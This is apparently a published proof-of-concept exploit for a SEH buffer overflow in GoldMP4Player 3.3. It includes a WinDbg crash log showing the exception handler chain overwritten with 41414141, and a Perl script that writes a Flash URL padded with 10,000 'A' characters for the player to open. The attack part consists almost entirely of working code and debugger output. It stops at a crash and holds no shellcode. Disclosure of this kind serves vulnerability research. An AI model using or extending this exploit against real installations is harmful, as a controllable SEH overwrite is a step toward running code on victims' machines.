Gold MP4 Player 3.3 – Buffer Overflow (PoC) (SEH)
#---------------------------------------------------------------------------------# # Exploit Title: GoldMP4Player 3.3 - Buffer Overflow PoC (SEH) # # Date: Feb 25 2014 # # Exploit Author: Gabor Seljan # # Software Link: http://download.cnet.com/GoldMP4Player/3000-2139_4-10967424.html # # Version: 3.3 # # Tested on: Windows XP SP3 # #---------------------------------------------------------------------------------# # (cb4.cb0): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=05506f41 ebx=00000111 ecx=05503ff1 edx=00130000 esi=05506fe0 edi=00000003 # eip=0041a0c3 esp=0012e25c ebp=054f4f88 iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 # *** WARNING: Unable to verify checksum for image00400000 # *** ERROR: Module load completed but symbols could not be loaded for image00400000 # image00400000+0x1a0c3: # 0041a0c3 8802 mov byte ptr [edx],al ds:0023:00130000=41 # 0:000> !exchain # 0012e270: image00400000+4c1b3 (0044c1b3) # 0012e3b0: image00400000+4c56a (0044c56a) # 0012e430: image00400000+4c4ec (0044c4ec) # 0012e4e0: *** ERROR: Symbol file could not be found. # 0012e534: USER32!DeregisterShellHookWindow+1cf (7e44048f) # 0012e748: USER32!DeregisterShellHookWindow+1cf (7e44048f) # 0012e7a8: USER32!DeregisterShellHookWindow+1cf (7e44048f) # 0012e8cc: image00400000+4c333 (0044c333) # 0012e9f4: <Unloaded_ION.dll>+41414140 (41414141) # Invalid exception stack at 41414141 #!/usr/bin/perl use strict; use warnings; my $filename = "poc.txt"; my $junk = "A" x 10000; open(FILE, ">$filename") || die "[-]Error:\n$!\n"; print FILE "http://$junk.swf"; close(FILE); print "Exploit file created successfully [$filename]!\n"; print "Now open the URL in $filename via File -> Open Flash URL\n"; |